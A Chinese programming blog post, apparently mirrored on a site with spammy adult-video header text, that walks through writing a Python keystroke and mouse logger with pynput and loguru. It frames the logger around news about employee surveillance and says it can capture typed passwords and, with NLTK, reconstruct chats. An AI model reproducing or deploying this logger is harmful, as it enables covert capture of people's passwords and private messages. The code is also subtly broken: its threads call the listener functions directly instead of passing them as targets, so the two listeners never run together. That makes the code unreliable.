日本免费高清视频-国产福利视频导航-黄色在线播放国产-天天操天天操天天操天天操|www.shdianci.com

學無先后,達者為師

網站首頁 編程語言 正文

利用Python寫個摸魚監控進程_python

作者:Python?技術 ? 更新時間: 2022-04-25 編程語言

繼打游戲、看視頻等摸魚行為被監控后,現在打工人離職的傾向也會被監控。

有網友爆料稱知乎正在低調裁員,視頻相關部門幾乎要裁掉一半。而在知乎裁員的討論區,有網友表示企業安裝了行為感知系統,該系統可以提前獲知員工跳槽念頭。

而知乎在否認了裁員計劃的同時,也聲明從未安裝使用過網上所說的行為感知系統,今后也不會啟用類似軟件工具。

因為此事,深信服被推上風口浪尖,輿論關注度越來越高。

一時間,“打工人太難了”“毫無隱私可言”的討論層出不窮。

今天就帶大家領略一下怎么寫幾行 Python 代碼,就能監控電腦。

監控鍵盤

如果公司偷偷在我們的電腦上運行了一個后臺進程,來監控我們的鍵盤事件,最簡單的 python 寫法大致是這樣的:

from pynput import keyboard
 
def on_press(key):
    print(f'{key} :pushed')
 
 
def on_release(key):
    if key == keyboard.Key.esc:
        return False
 
 
with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:
    lsn.join()

隨意敲擊鍵盤,你就會從控制臺看到這樣的輸出:

代碼內容就是兩個方法,一個是監聽按鍵事件,另一個是監聽退出事件——敲擊 ESC 按鍵后釋放就退出了。

監控鼠標

如果還要監聽鼠標事件,那么上這段代碼就行了:

from pynput import mouse
 
def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        print('left was pressed!')
    elif button == mouse.Button.right:
        print('right was pressed!')
        return False
    else:
        print('mid was pressed!')
 
 
# 定義鼠標監聽線程
with mouse.Listener(on_click=on_click) as listener:
    listener.join()

這段代碼主要是監聽鼠標的左右鍵點擊操作,運行之后操作鼠標,就可以看到控制臺打印如下結果:

細心的你一定會發現,每次點擊事件,都打印了兩次。這是因為按下和松開都會觸發鼠標事件。

記錄監控日志

鍵盤事件和鼠標事件都有了,是時候將二者結合起來,把用戶的操作記錄到日志了。這里我們用 loguru 來記錄日志,這個 python 模塊我們之前的文章也講過。

整個代碼如下:

from pynput import keyboard, mouse
from loguru import logger
from threading import Thread
 
# 定義日志文件
logger.add('moyu.log')
 
 
def on_press(key):
    logger.debug(f'{key} :pushed')
 
 
def on_release(key):
    if key == keyboard.Key.esc:
        return False
 
 
# 定義鍵盤監聽線程
def press_thread():
    with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:
        lsn.join()
 
 
def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        logger.debug('left was pressed!')
    elif button == mouse.Button.right:
        logger.debug('right was pressed!')
    else:
        return False
 
 
# 定義鼠標監聽線程
def click_thread():
    with mouse.Listener(on_click=on_click) as listener:
        listener.join()
 
 
if __name__ == '__main__':
    # 起兩個線程分別監控鍵盤和鼠標
    t1 = Thread(target=press_thread())
    t2 = Thread(target=click_thread())
    t1.start()
    t2.start()

運行之后,你就可以在同級目錄下的日志文件中,看到這樣的內容了:

完整代碼

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@author: 閑歡
"""
from pynput import keyboard, mouse
from loguru import logger
from threading import Thread

# 定義日志文件
logger.add('moyu.log')


def on_press(key):
    logger.debug(f'{key} :pushed')


def on_release(key):
    if key == keyboard.Key.esc:
        return False


# 定義鍵盤監聽線程
def press_thread():
    with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:
        lsn.join()


def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        logger.debug('left was pressed!')
    elif button == mouse.Button.right:
        logger.debug('right was pressed!')
        return False
    else:
        logger.debug('mid was pressed!')


# 定義鼠標監聽線程
def click_thread():
    with mouse.Listener(on_click=on_click) as listener:
        listener.join()


if __name__ == '__main__':
    # 起兩個線程分別監控鍵盤和鼠標
    t1 = Thread(target=press_thread())
    t2 = Thread(target=click_thread())
    t1.start()
    t2.start()

總結

本文主要通過 pynput 這個 python 模塊講解一下怎么記錄鍵盤和鼠標的操作。這幾行簡單的代碼對于監控輸入密碼之類的簡單操作可以使用,但是對于聊天記錄之類的復雜語句,你還需要針對日志用 NLTK 語言處理,才能復原你的聊天記錄。

原文鏈接:https://blog.csdn.net/weixin_48923393/article/details/123038998

欄目分類
最近更新